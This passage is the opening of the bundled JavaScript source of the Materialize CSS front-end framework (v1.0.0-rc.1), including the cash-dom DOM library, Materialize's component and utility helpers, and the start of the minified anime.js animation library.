v1.0.0-rc.1 (http://materializecss.com) * Copyright 2014-2017 Materialize * MIT License (https://raw.githubusercontent.com/Dogfalo/materialize/master/LICENSE) */ var _get = function get(object, property, receiver) { if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { return get(parent, property, receiver); } } else if ("value" in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } /*! cash-dom 1.3.5, https://github.com/kenwheeler/cash @license MIT */ (function (factory) { window.cash = factory(); })(function () { var doc = document, win = window, ArrayProto = Array.prototype, slice = ArrayProto.slice, filter = ArrayProto.filter, push = ArrayProto.push; var noop = function () {}, isFunction = function (item) { // @see https://crbug.com/568448 return typeof item === typeof noop && item.call; }, isString = function (item) { return typeof item === typeof ""; }; var idMatch = /^#[\w-]*$/, classMatch = /^\.[\w-]*$/, htmlMatch = /<.+>/, singlet = /^\w+$/; function find(selector, context) { context = context || doc; var elems = classMatch.test(selector) ? context.getElementsByClassName(selector.slice(1)) : singlet.test(selector) ? context.getElementsByTagName(selector) : context.querySelectorAll(selector); return elems; } var frag; function parseHTML(str) { if (!frag) { frag = doc.implementation.createHTMLDocument(null); var base = frag.createElement("base"); base.href = doc.location.href; frag.head.appendChild(base); } frag.body.innerHTML = str; return frag.body.childNodes; } function onReady(fn) { if (doc.readyState !== "loading") { fn(); } else { doc.addEventListener("DOMContentLoaded", fn); } } function Init(selector, context) { if (!selector) { return this; } // If already a cash collection, don't do any further processing if (selector.cash && selector !== win) { return selector; } var elems = selector, i = 0, length; if (isString(selector)) { elems = idMatch.test(selector) ? // If an ID use the faster getElementById check doc.getElementById(selector.slice(1)) : htmlMatch.test(selector) ? // If HTML, parse it into real elements parseHTML(selector) : // else use `find` find(selector, context); // If function, use as shortcut for DOM ready } else if (isFunction(selector)) { onReady(selector);return this; } if (!elems) { return this; } // If a single DOM element is passed in or received via ID, return the single element if (elems.nodeType || elems === win) { this[0] = elems; this.length = 1; } else { // Treat like an array and loop through each item. length = this.length = elems.length; for (; i < length; i++) { this[i] = elems[i]; } } return this; } function cash(selector, context) { return new Init(selector, context); } var fn = cash.fn = cash.prototype = Init.prototype = { // jshint ignore:line cash: true, length: 0, push: push, splice: ArrayProto.splice, map: ArrayProto.map, init: Init }; Object.defineProperty(fn, "constructor", { value: cash }); cash.parseHTML = parseHTML; cash.noop = noop; cash.isFunction = isFunction; cash.isString = isString; cash.extend = fn.extend = function (target) { target = target || {}; var args = slice.call(arguments), length = args.length, i = 1; if (args.length === 1) { target = this; i = 0; } for (; i < length; i++) { if (!args[i]) { continue; } for (var key in args[i]) { if (args[i].hasOwnProperty(key)) { target[key] = args[i][key]; } } } return target; }; function each(collection, callback) { var l = collection.length, i = 0; for (; i < l; i++) { if (callback.call(collection[i], collection[i], i, collection) === false) { break; } } } function matches(el, selector) { var m = el && (el.matches || el.webkitMatchesSelector || el.mozMatchesSelector || el.msMatchesSelector || el.oMatchesSelector); return !!m && m.call(el, selector); } function getCompareFunction(selector) { return ( /* Use browser's `matches` function if string */ isString(selector) ? matches : /* Match a cash element */ selector.cash ? function (el) { return selector.is(el); } : /* Direct comparison */ function (el, selector) { return el === selector; } ); } function unique(collection) { return cash(slice.call(collection).filter(function (item, index, self) { return self.indexOf(item) === index; })); } cash.extend({ merge: function (first, second) { var len = +second.length, i = first.length, j = 0; for (; j < len; i++, j++) { first[i] = second[j]; } first.length = i; return first; }, each: each, matches: matches, unique: unique, isArray: Array.isArray, isNumeric: function (n) { return !isNaN(parseFloat(n)) && isFinite(n); } }); var uid = cash.uid = "_cash" + Date.now(); function getDataCache(node) { return node[uid] = node[uid] || {}; } function setData(node, key, value) { return getDataCache(node)[key] = value; } function getData(node, key) { var c = getDataCache(node); if (c[key] === undefined) { c[key] = node.dataset ? node.dataset[key] : cash(node).attr("data-" + key); } return c[key]; } function removeData(node, key) { var c = getDataCache(node); if (c) { delete c[key]; } else if (node.dataset) { delete node.dataset[key]; } else { cash(node).removeAttr("data-" + name); } } fn.extend({ data: function (name, value) { if (isString(name)) { return value === undefined ? getData(this[0], name) : this.each(function (v) { return setData(v, name, value); }); } for (var key in name) { this.data(key, name[key]); } return this; }, removeData: function (key) { return this.each(function (v) { return removeData(v, key); }); } }); var notWhiteMatch = /\S+/g; function getClasses(c) { return isString(c) && c.match(notWhiteMatch); } function hasClass(v, c) { return v.classList ? v.classList.contains(c) : new RegExp("(^| )" + c + "( |$)", "gi").test(v.className); } function addClass(v, c, spacedName) { if (v.classList) { v.classList.add(c); } else if (spacedName.indexOf(" " + c + " ")) { v.className += " " + c; } } function removeClass(v, c) { if (v.classList) { v.classList.remove(c); } else { v.className = v.className.replace(c, ""); } } fn.extend({ addClass: function (c) { var classes = getClasses(c); return classes ? this.each(function (v) { var spacedName = " " + v.className + " "; each(classes, function (c) { addClass(v, c, spacedName); }); }) : this; }, attr: function (name, value) { if (!name) { return undefined; } if (isString(name)) { if (value === undefined) { return this[0] ? this[0].getAttribute ? this[0].getAttribute(name) : this[0][name] : undefined; } return this.each(function (v) { if (v.setAttribute) { v.setAttribute(name, value); } else { v[name] = value; } }); } for (var key in name) { this.attr(key, name[key]); } return this; }, hasClass: function (c) { var check = false, classes = getClasses(c); if (classes && classes.length) { this.each(function (v) { check = hasClass(v, classes[0]); return !check; }); } return check; }, prop: function (name, value) { if (isString(name)) { return value === undefined ? this[0][name] : this.each(function (v) { v[name] = value; }); } for (var key in name) { this.prop(key, name[key]); } return this; }, removeAttr: function (name) { return this.each(function (v) { if (v.removeAttribute) { v.removeAttribute(name); } else { delete v[name]; } }); }, removeClass: function (c) { if (!arguments.length) { return this.attr("class", ""); } var classes = getClasses(c); return classes ? this.each(function (v) { each(classes, function (c) { removeClass(v, c); }); }) : this; }, removeProp: function (name) { return this.each(function (v) { delete v[name]; }); }, toggleClass: function (c, state) { if (state !== undefined) { return this[state ? "addClass" : "removeClass"](c); } var classes = getClasses(c); return classes ? this.each(function (v) { var spacedName = " " + v.className + " "; each(classes, function (c) { if (hasClass(v, c)) { removeClass(v, c); } else { addClass(v, c, spacedName); } }); }) : this; } }); fn.extend({ add: function (selector, context) { return unique(cash.merge(this, cash(selector, context))); }, each: function (callback) { each(this, callback); return this; }, eq: function (index) { return cash(this.get(index)); }, filter: function (selector) { if (!selector) { return this; } var comparator = isFunction(selector) ? selector : getCompareFunction(selector); return cash(filter.call(this, function (e) { return comparator(e, selector); })); }, first: function () { return this.eq(0); }, get: function (index) { if (index === undefined) { return slice.call(this); } return index < 0 ? this[index + this.length] : this[index]; }, index: function (elem) { var child = elem ? cash(elem)[0] : this[0], collection = elem ? this : cash(child).parent().children(); return slice.call(collection).indexOf(child); }, last: function () { return this.eq(-1); } }); var camelCase = function () { var camelRegex = /(?:^\w|[A-Z]|\b\w)/g, whiteSpace = /[\s-_]+/g; return function (str) { return str.replace(camelRegex, function (letter, index) { return letter[index === 0 ? "toLowerCase" : "toUpperCase"](); }).replace(whiteSpace, ""); }; }(); var getPrefixedProp = function () { var cache = {}, doc = document, div = doc.createElement("div"), style = div.style; return function (prop) { prop = camelCase(prop); if (cache[prop]) { return cache[prop]; } var ucProp = prop.charAt(0).toUpperCase() + prop.slice(1), prefixes = ["webkit", "moz", "ms", "o"], props = (prop + " " + prefixes.join(ucProp + " ") + ucProp).split(" "); each(props, function (p) { if (p in style) { cache[p] = prop = cache[prop] = p; return false; } }); return cache[prop]; }; }(); cash.prefixedProp = getPrefixedProp; cash.camelCase = camelCase; fn.extend({ css: function (prop, value) { if (isString(prop)) { prop = getPrefixedProp(prop); return arguments.length > 1 ? this.each(function (v) { return v.style[prop] = value; }) : win.getComputedStyle(this[0])[prop]; } for (var key in prop) { this.css(key, prop[key]); } return this; } }); function compute(el, prop) { return parseInt(win.getComputedStyle(el[0], null)[prop], 10) || 0; } each(["Width", "Height"], function (v) { var lower = v.toLowerCase(); fn[lower] = function () { return this[0].getBoundingClientRect()[lower]; }; fn["inner" + v] = function () { return this[0]["client" + v]; }; fn["outer" + v] = function (margins) { return this[0]["offset" + v] + (margins ? compute(this, "margin" + (v === "Width" ? "Left" : "Top")) + compute(this, "margin" + (v === "Width" ? "Right" : "Bottom")) : 0); }; }); function registerEvent(node, eventName, callback) { var eventCache = getData(node, "_cashEvents") || setData(node, "_cashEvents", {}); eventCache[eventName] = eventCache[eventName] || []; eventCache[eventName].push(callback); node.addEventListener(eventName, callback); } function removeEvent(node, eventName, callback) { var events = getData(node, "_cashEvents"), eventCache = events && events[eventName], index; if (!eventCache) { return; } if (callback) { node.removeEventListener(eventName, callback); index = eventCache.indexOf(callback); if (index >= 0) { eventCache.splice(index, 1); } } else { each(eventCache, function (event) { node.removeEventListener(eventName, event); }); eventCache = []; } } fn.extend({ off: function (eventName, callback) { return this.each(function (v) { return removeEvent(v, eventName, callback); }); }, on: function (eventName, delegate, callback, runOnce) { // jshint ignore:line var originalCallback; if (!isString(eventName)) { for (var key in eventName) { this.on(key, delegate, eventName[key]); } return this; } if (isFunction(delegate)) { callback = delegate; delegate = null; } if (eventName === "ready") { onReady(callback); return this; } if (delegate) { originalCallback = callback; callback = function (e) { var t = e.target; while (!matches(t, delegate)) { if (t === this || t === null) { return t = false; } t = t.parentNode; } if (t) { originalCallback.call(t, e); } }; } return this.each(function (v) { var finalCallback = callback; if (runOnce) { finalCallback = function () { callback.apply(this, arguments); removeEvent(v, eventName, finalCallback); }; } registerEvent(v, eventName, finalCallback); }); }, one: function (eventName, delegate, callback) { return this.on(eventName, delegate, callback, true); }, ready: onReady, /** * Modified * Triggers browser event * @param String eventName * @param Object data - Add properties to event object */ trigger: function (eventName, data) { if (document.createEvent) { var evt = document.createEvent('HTMLEvents'); evt.initEvent(eventName, true, false); evt = this.extend(evt, data); return this.each(function (v) { return v.dispatchEvent(evt); }); } } }); function encode(name, value) { return "&" + encodeURIComponent(name) + "=" + encodeURIComponent(value).replace(/%20/g, "+"); } function getSelectMultiple_(el) { var values = []; each(el.options, function (o) { if (o.selected) { values.push(o.value); } }); return values.length ? values : null; } function getSelectSingle_(el) { var selectedIndex = el.selectedIndex; return selectedIndex >= 0 ? el.options[selectedIndex].value : null; } function getValue(el) { var type = el.type; if (!type) { return null; } switch (type.toLowerCase()) { case "select-one": return getSelectSingle_(el); case "select-multiple": return getSelectMultiple_(el); case "radio": return el.checked ? el.value : null; case "checkbox": return el.checked ? el.value : null; default: return el.value ? el.value : null; } } fn.extend({ serialize: function () { var query = ""; each(this[0].elements || this, function (el) { if (el.disabled || el.tagName === "FIELDSET") { return; } var name = el.name; switch (el.type.toLowerCase()) { case "file": case "reset": case "submit": case "button": break; case "select-multiple": var values = getValue(el); if (values !== null) { each(values, function (value) { query += encode(name, value); }); } break; default: var value = getValue(el); if (value !== null) { query += encode(name, value); } } }); return query.substr(1); }, val: function (value) { if (value === undefined) { return getValue(this[0]); } return this.each(function (v) { return v.value = value; }); } }); function insertElement(el, child, prepend) { if (prepend) { var first = el.childNodes[0]; el.insertBefore(child, first); } else { el.appendChild(child); } } function insertContent(parent, child, prepend) { var str = isString(child); if (!str && child.length) { each(child, function (v) { return insertContent(parent, v, prepend); }); return; } each(parent, str ? function (v) { return v.insertAdjacentHTML(prepend ? "afterbegin" : "beforeend", child); } : function (v, i) { return insertElement(v, i === 0 ? child : child.cloneNode(true), prepend); }); } fn.extend({ after: function (selector) { cash(selector).insertAfter(this); return this; }, append: function (content) { insertContent(this, content); return this; }, appendTo: function (parent) { insertContent(cash(parent), this); return this; }, before: function (selector) { cash(selector).insertBefore(this); return this; }, clone: function () { return cash(this.map(function (v) { return v.cloneNode(true); })); }, empty: function () { this.html(""); return this; }, html: function (content) { if (content === undefined) { return this[0].innerHTML; } var source = content.nodeType ? content[0].outerHTML : content; return this.each(function (v) { return v.innerHTML = source; }); }, insertAfter: function (selector) { var _this = this; cash(selector).each(function (el, i) { var parent = el.parentNode, sibling = el.nextSibling; _this.each(function (v) { parent.insertBefore(i === 0 ? v : v.cloneNode(true), sibling); }); }); return this; }, insertBefore: function (selector) { var _this2 = this; cash(selector).each(function (el, i) { var parent = el.parentNode; _this2.each(function (v) { parent.insertBefore(i === 0 ? v : v.cloneNode(true), el); }); }); return this; }, prepend: function (content) { insertContent(this, content, true); return this; }, prependTo: function (parent) { insertContent(cash(parent), this, true); return this; }, remove: function () { return this.each(function (v) { if (!!v.parentNode) { return v.parentNode.removeChild(v); } }); }, text: function (content) { if (content === undefined) { return this[0].textContent; } return this.each(function (v) { return v.textContent = content; }); } }); var docEl = doc.documentElement; fn.extend({ position: function () { var el = this[0]; return { left: el.offsetLeft, top: el.offsetTop }; }, offset: function () { var rect = this[0].getBoundingClientRect(); return { top: rect.top + win.pageYOffset - docEl.clientTop, left: rect.left + win.pageXOffset - docEl.clientLeft }; }, offsetParent: function () { return cash(this[0].offsetParent); } }); fn.extend({ children: function (selector) { var elems = []; this.each(function (el) { push.apply(elems, el.children); }); elems = unique(elems); return !selector ? elems : elems.filter(function (v) { return matches(v, selector); }); }, closest: function (selector) { if (!selector || this.length < 1) { return cash(); } if (this.is(selector)) { return this.filter(selector); } return this.parent().closest(selector); }, is: function (selector) { if (!selector) { return false; } var match = false, comparator = getCompareFunction(selector); this.each(function (el) { match = comparator(el, selector); return !match; }); return match; }, find: function (selector) { if (!selector || selector.nodeType) { return cash(selector && this.has(selector).length ? selector : null); } var elems = []; this.each(function (el) { push.apply(elems, find(selector, el)); }); return unique(elems); }, has: function (selector) { var comparator = isString(selector) ? function (el) { return find(selector, el).length !== 0; } : function (el) { return el.contains(selector); }; return this.filter(comparator); }, next: function () { return cash(this[0].nextElementSibling); }, not: function (selector) { if (!selector) { return this; } var comparator = getCompareFunction(selector); return this.filter(function (el) { return !comparator(el, selector); }); }, parent: function () { var result = []; this.each(function (item) { if (item && item.parentNode) { result.push(item.parentNode); } }); return unique(result); }, parents: function (selector) { var last, result = []; this.each(function (item) { last = item; while (last && last.parentNode && last !== doc.body.parentNode) { last = last.parentNode; if (!selector || selector && matches(last, selector)) { result.push(last); } } }); return unique(result); }, prev: function () { return cash(this[0].previousElementSibling); }, siblings: function (selector) { var collection = this.parent().children(selector), el = this[0]; return collection.filter(function (i) { return i !== el; }); } }); return cash; }); ; var Component = function () { /** * Generic constructor for all components * @constructor * @param {Element} el * @param {Object} options */ function Component(classDef, el, options) { _classCallCheck(this, Component); // Display error if el is valid HTML Element if (!(el instanceof Element)) { console.error(Error(el + ' is not an HTML Element')); } // If exists, destroy and reinitialize in child var ins = classDef.getInstance(el); if (!!ins) { ins.destroy(); } this.el = el; this.$el = cash(el); } /** * Initializes components * @param {class} classDef * @param {Element | NodeList | jQuery} els * @param {Object} options */ _createClass(Component, null, [{ key: "init", value: function init(classDef, els, options) { var instances = null; if (els instanceof Element) { instances = new classDef(els, options); } else if (!!els && (els.jquery || els.cash || els instanceof NodeList)) { var instancesArr = []; for (var i = 0; i < els.length; i++) { instancesArr.push(new classDef(els[i], options)); } instances = instancesArr; } return instances; } }]); return Component; }(); ; // Required for Meteor package, the use of window prevents export by Meteor (function (window) { if (window.Package) { M = {}; } else { window.M = {}; } // Check for jQuery M.jQueryLoaded = !!window.jQuery; })(window); // AMD if (typeof define === 'function' && define.amd) { define('M', [], function () { return M; }); // Common JS } else if (typeof exports !== 'undefined' && !exports.nodeType) { if (typeof module !== 'undefined' && !module.nodeType && module.exports) { exports = module.exports = M; } exports.default = M; } M.keys = { TAB: 9, ENTER: 13, ESC: 27, ARROW_UP: 38, ARROW_DOWN: 40 }; /** * TabPress Keydown handler */ M.tabPressed = false; M.keyDown = false; var docHandleKeydown = function (e) { M.keyDown = true; if (e.which === M.keys.TAB || e.which === M.keys.ARROW_DOWN || e.which === M.keys.ARROW_UP) { M.tabPressed = true; } }; var docHandleKeyup = function (e) { M.keyDown = false; if (e.which === M.keys.TAB || e.which === M.keys.ARROW_DOWN || e.which === M.keys.ARROW_UP) { M.tabPressed = false; } }; var docHandleFocus = function (e) { if (M.keyDown) { document.body.classList.add('keyboard-focused'); } }; var docHandleBlur = function (e) { document.body.classList.remove('keyboard-focused'); }; document.addEventListener('keydown', docHandleKeydown, true); document.addEventListener('keyup', docHandleKeyup, true); document.addEventListener('focus', docHandleFocus, true); document.addEventListener('blur', docHandleBlur, true); /** * Initialize jQuery wrapper for plugin * @param {Class} plugin javascript class * @param {string} pluginName jQuery plugin name * @param {string} classRef Class reference name */ M.initializeJqueryWrapper = function (plugin, pluginName, classRef) { jQuery.fn[pluginName] = function (methodOrOptions) { // Call plugin method if valid method name is passed in if (plugin.prototype[methodOrOptions]) { var params = Array.prototype.slice.call(arguments, 1); // Getter methods if (methodOrOptions.slice(0, 3) === 'get') { var instance = this.first()[0][classRef]; return instance[methodOrOptions].apply(instance, params); } // Void methods return this.each(function () { var instance = this[classRef]; instance[methodOrOptions].apply(instance, params); }); // Initialize plugin if options or no argument is passed in } else if (typeof methodOrOptions === 'object' || !methodOrOptions) { plugin.init(this, arguments[0]); return this; } // Return error if an unrecognized method name is passed in jQuery.error("Method " + methodOrOptions + " does not exist on jQuery." + pluginName); }; }; /** * Automatically initialize components * @param {Element} context DOM Element to search within for components */ M.AutoInit = function (context) { // Use document.body if no context is given var root = !!context ? context : document.body; var registry = { Autocomplete: root.querySelectorAll('.autocomplete:not(.no-autoinit)'), Carousel: root.querySelectorAll('.carousel:not(.no-autoinit)'), Chips: root.querySelectorAll('.chips:not(.no-autoinit)'), Collapsible: root.querySelectorAll('.collapsible:not(.no-autoinit)'), Datepicker: root.querySelectorAll('.datepicker:not(.no-autoinit)'), Dropdown: root.querySelectorAll('.dropdown-trigger:not(.no-autoinit)'), Materialbox: root.querySelectorAll('.materialboxed:not(.no-autoinit)'), Modal: root.querySelectorAll('.modal:not(.no-autoinit)'), Parallax: root.querySelectorAll('.parallax:not(.no-autoinit)'), Pushpin: root.querySelectorAll('.pushpin:not(.no-autoinit)'), ScrollSpy: root.querySelectorAll('.scrollspy:not(.no-autoinit)'), FormSelect: root.querySelectorAll('select:not(.no-autoinit)'), Sidenav: root.querySelectorAll('.sidenav:not(.no-autoinit)'), Tabs: root.querySelectorAll('.tabs:not(.no-autoinit)'), TapTarget: root.querySelectorAll('.tap-target:not(.no-autoinit)'), Timepicker: root.querySelectorAll('.timepicker:not(.no-autoinit)'), Tooltip: root.querySelectorAll('.tooltipped:not(.no-autoinit)'), FloatingActionButton: root.querySelectorAll('.fixed-action-btn:not(.no-autoinit)') }; for (var pluginName in registry) { var plugin = M[pluginName]; plugin.init(registry[pluginName]); } }; /** * Generate approximated selector string for a jQuery object * @param {jQuery} obj jQuery object to be parsed * @returns {string} */ M.objectSelectorString = function (obj) { var tagStr = obj.prop('tagName') || ''; var idStr = obj.attr('id') || ''; var classStr = obj.attr('class') || ''; return (tagStr + idStr + classStr).replace(/\s/g, ''); }; // Unique Random ID M.guid = function () { function s4() { return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); } return function () { return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); }; }(); /** * Escapes hash from special characters * @param {string} hash String returned from this.hash * @returns {string} */ M.escapeHash = function (hash) { return hash.replace(/(:|\.|\[|\]|,|=|\/)/g, '\\$1'); }; M.elementOrParentIsFixed = function (element) { var $element = $(element); var $checkElements = $element.add($element.parents()); var isFixed = false; $checkElements.each(function () { if ($(this).css('position') === 'fixed') { isFixed = true; return false; } }); return isFixed; }; /** * @typedef {Object} Edges * @property {Boolean} top If the top edge was exceeded * @property {Boolean} right If the right edge was exceeded * @property {Boolean} bottom If the bottom edge was exceeded * @property {Boolean} left If the left edge was exceeded */ /** * @typedef {Object} Bounding * @property {Number} left left offset coordinate * @property {Number} top top offset coordinate * @property {Number} width * @property {Number} height */ /** * Escapes hash from special characters * @param {Element} container Container element that acts as the boundary * @param {Bounding} bounding element bounding that is being checked * @param {Number} offset offset from edge that counts as exceeding * @returns {Edges} */ M.checkWithinContainer = function (container, bounding, offset) { var edges = { top: false, right: false, bottom: false, left: false }; var containerRect = container.getBoundingClientRect(); // If body element is smaller than viewport, use viewport height instead. var containerBottom = container === document.body ? Math.max(containerRect.bottom, window.innerHeight) : containerRect.bottom; var scrollLeft = container.scrollLeft; var scrollTop = container.scrollTop; var scrolledX = bounding.left - scrollLeft; var scrolledY = bounding.top - scrollTop; // Check for container and viewport for each edge if (scrolledX < containerRect.left + offset || scrolledX < offset) { edges.left = true; } if (scrolledX + bounding.width > containerRect.right - offset || scrolledX + bounding.width > window.innerWidth - offset) { edges.right = true; } if (scrolledY < containerRect.top + offset || scrolledY < offset) { edges.top = true; } if (scrolledY + bounding.height > containerBottom - offset || scrolledY + bounding.height > window.innerHeight - offset) { edges.bottom = true; } return edges; }; M.checkPossibleAlignments = function (el, container, bounding, offset) { var canAlign = { top: true, right: true, bottom: true, left: true, spaceOnTop: null, spaceOnRight: null, spaceOnBottom: null, spaceOnLeft: null }; var containerAllowsOverflow = getComputedStyle(container).overflow === 'visible'; var containerRect = container.getBoundingClientRect(); var containerHeight = Math.min(containerRect.height, window.innerHeight); var containerWidth = Math.min(containerRect.width, window.innerWidth); var elOffsetRect = el.getBoundingClientRect(); var scrollLeft = container.scrollLeft; var scrollTop = container.scrollTop; var scrolledX = bounding.left - scrollLeft; var scrolledYTopEdge = bounding.top - scrollTop; var scrolledYBottomEdge = bounding.top + elOffsetRect.height - scrollTop; // Check for container and viewport for left canAlign.spaceOnRight = !containerAllowsOverflow ? containerWidth - (scrolledX + bounding.width) : window.innerWidth - (elOffsetRect.left + bounding.width); if (canAlign.spaceOnRight < 0) { canAlign.left = false; } // Check for container and viewport for Right canAlign.spaceOnLeft = !containerAllowsOverflow ? scrolledX - bounding.width + elOffsetRect.width : elOffsetRect.right - bounding.width; if (canAlign.spaceOnLeft < 0) { canAlign.right = false; } // Check for container and viewport for Top canAlign.spaceOnBottom = !containerAllowsOverflow ? containerHeight - (scrolledYTopEdge + bounding.height + offset) : window.innerHeight - (elOffsetRect.top + bounding.height + offset); if (canAlign.spaceOnBottom < 0) { canAlign.top = false; } // Check for container and viewport for Bottom canAlign.spaceOnTop = !containerAllowsOverflow ? scrolledYBottomEdge - (bounding.height - offset) : elOffsetRect.bottom - (bounding.height + offset); if (canAlign.spaceOnTop < 0) { canAlign.bottom = false; } return canAlign; }; M.getOverflowParent = function (element) { if (element == null) { return null; } if (element === document.body || getComputedStyle(element).overflow !== 'visible') { return element; } return M.getOverflowParent(element.parentElement); }; /** * Gets id of component from a trigger * @param {Element} trigger trigger * @returns {string} */ M.getIdFromTrigger = function (trigger) { var id = trigger.getAttribute('data-target'); if (!id) { id = trigger.getAttribute('href'); if (id) { id = id.slice(1); } else { id = ''; } } return id; }; /** * Multi browser support for document scroll top * @returns {Number} */ M.getDocumentScrollTop = function () { return window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0; }; /** * Multi browser support for document scroll left * @returns {Number} */ M.getDocumentScrollLeft = function () { return window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft || 0; }; /** * @typedef {Object} Edges * @property {Boolean} top If the top edge was exceeded * @property {Boolean} right If the right edge was exceeded * @property {Boolean} bottom If the bottom edge was exceeded * @property {Boolean} left If the left edge was exceeded */ /** * @typedef {Object} Bounding * @property {Number} left left offset coordinate * @property {Number} top top offset coordinate * @property {Number} width * @property {Number} height */ /** * Get time in ms * @license https://raw.github.com/jashkenas/underscore/master/LICENSE * @type {function} * @return {number} */ var getTime = Date.now || function () { return new Date().getTime(); }; /** * Returns a function, that, when invoked, will only be triggered at most once * during a given window of time. Normally, the throttled function will run * as much as it can, without ever going more than once per `wait` duration; * but if you'd like to disable the execution on the leading edge, pass * `{leading: false}`. To disable execution on the trailing edge, ditto. * @license https://raw.github.com/jashkenas/underscore/master/LICENSE * @param {function} func * @param {number} wait * @param {Object=} options * @returns {Function} */ M.throttle = function (func, wait, options) { var context = void 0, args = void 0, result = void 0; var timeout = null; var previous = 0; options || (options = {}); var later = function () { previous = options.leading === false ? 0 : getTime(); timeout = null; result = func.apply(context, args); context = args = null; }; return function () { var now = getTime(); if (!previous && options.leading === false) previous = now; var remaining = wait - (now - previous); context = this; args = arguments; if (remaining <= 0) { clearTimeout(timeout); timeout = null; previous = now; result = func.apply(context, args); context = args = null; } else if (!timeout && options.trailing !== false) { timeout = setTimeout(later, remaining); } return result; }; }; ; /* v2.2.0 2017 Julian Garnier Released under the MIT license */ var $jscomp = { scope: {} };$jscomp.defineProperty = "function" == typeof Object.defineProperties ? Object.defineProperty : function (e, r, p) { if (p.get || p.set) throw new TypeError("ES3 does not support getters and setters.");e != Array.prototype && e != Object.prototype && (e[r] = p.value); };$jscomp.getGlobal = function (e) { return "undefined" != typeof window && window === e ? e : "undefined" != typeof global && null != global ? global : e; };$jscomp.global = $jscomp.getGlobal(this);$jscomp.SYMBOL_PREFIX = "jscomp_symbol_"; $jscomp.initSymbol = function () { $jscomp.initSymbol = function () {};$jscomp.global.Symbol || ($jscomp.global.Symbol = $jscomp.Symbol); };$jscomp.symbolCounter_ = 0;$jscomp.Symbol = function (e) { return $jscomp.SYMBOL_PREFIX + (e || "") + $jscomp.symbolCounter_++; }; $jscomp.initSymbolIterator = function () { $jscomp.initSymbol();var e = $jscomp.global.Symbol.iterator;e || (e = $jscomp.global.Symbol.iterator = $jscomp.global.Symbol("iterator"));"function" != typeof Array.prototype[e] && $jscomp.defineProperty(Array.prototype, e, { configurable: !0, writable: !0, value: function () { return $jscomp.arrayIterator(this); } });$jscomp.initSymbolIterator = function () {}; };$jscomp.arrayIterator = function (e) { var r = 0;return $jscomp.iteratorPrototype(function () { return r < e.length ? { done: !1, value: e[r++] } : { done: !0 }; }); }; $jscomp.iteratorPrototype = function (e) { $jscomp.initSymbolIterator();e = { next: e };e[$jscomp.global.Symbol.iterator] = function () { return this; };return e; };$jscomp.array = $jscomp.array || {};$jscomp.iteratorFromArray = function (e, r) { $jscomp.initSymbolIterator();e instanceof String && (e += "");var p = 0, m = { next: function () { if (p < e.length) { var u = p++;return { value: r(u, e[u]), done: !1 }; }m.next = function () { return { done: !0, value: void 0 }; };return m.next(); } };m[Symbol.iterator] = function () { return m; };return m; }; $jscomp.polyfill = function (e, r, p, m) { if (r) { p = $jscomp.global;e = e.split(".");for (m = 0; m < e.length - 1; m++) { var u = e[m];u in p || (p[u] = {});p = p[u]; }e = e[e.length - 1];m = p[e];r = r(m);r != m && null != r && $jscomp.defineProperty(p, e, { configurable: !0, writable: !0, value: r }); } };$jscomp.polyfill("Array.prototype.keys", function (e) { return e ? e : function () { return $jscomp.iteratorFromArray(this, function (e) { return e; }); }; }, "es6-impl", "es3");var $jscomp$this = this; (function (r) { M.anime = r(); })(function () { function e(a) { if (!h.col(a)) try { return document.querySelectorAll(a); } catch (c) {} }function r(a, c) { for (var d = a.length, b = 2 <= arguments.length ? arguments[1] : void 0, f = [], n = 0; n < d; n++) { if (n in a) { var k = a[n];c.call(b, k, n, a) && f.push(k); } }return f; }function p(a) { return a.reduce(function (a, d) { return a.concat(h.arr(d) ? p(d) : d); }, []); }function m(a) { if (h.arr(a)) return a; h.str(a) && (a = e(a) || a);return a instanceof NodeList || a instanceof HTMLCollection ? [].slice.call(a) : [a]; }function u(a, c) { return a.some(function (a) { return a === c; }); }function C(a) { var c = {}, d;for (d in a) { c[d] = a[d]; }return c; }function D(a, c) { var d = C(a), b;for (b in a) { d[b] = c.hasOwnProperty(b) ? c[b] : a[b]; }return d; }function z(a, c) { var d = C(a), b;for (b in c) { d[b] = h.und(a[b]) ? c[b] : a[b]; }return d; }function T(a) { a = a.replace(/^#?([a-f\d])([a-f\d])([a-f\d])$/i, function (a, c, d, k) { return c + c + d + d + k + k; });var c = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(a); a = parseInt(c[1], 16);var d = parseInt(c[2], 16), c = parseInt(c[3], 16);return "rgba(" + a + "," + d + "," + c + ",1)"; }function U(a) { function c(a, c, b) { 0 > b && (b += 1);1 < b && --b;return b < 1 / 6 ? a + 6 * (c - a) * b : .5 > b ? c : b < 2 / 3 ? a + (c - a) * (2 / 3 - b) * 6 : a; }var d = /hsl\((\d+),\s*([\d.]+)%,\s*([\d.]+)%\)/g.exec(a) || /hsla\((\d+),\s*([\d.]+)%,\s*([\d.]+)%,\s*([\d.]+)\)/g.exec(a);a = parseInt(d[1]) / 360;var b = parseInt(d[2]) / 100, f = parseInt(d[3]) / 100, d = d[4] || 1;if (0 == b) f = b = a = f;else { var n = .5 > f ? f * (1 + 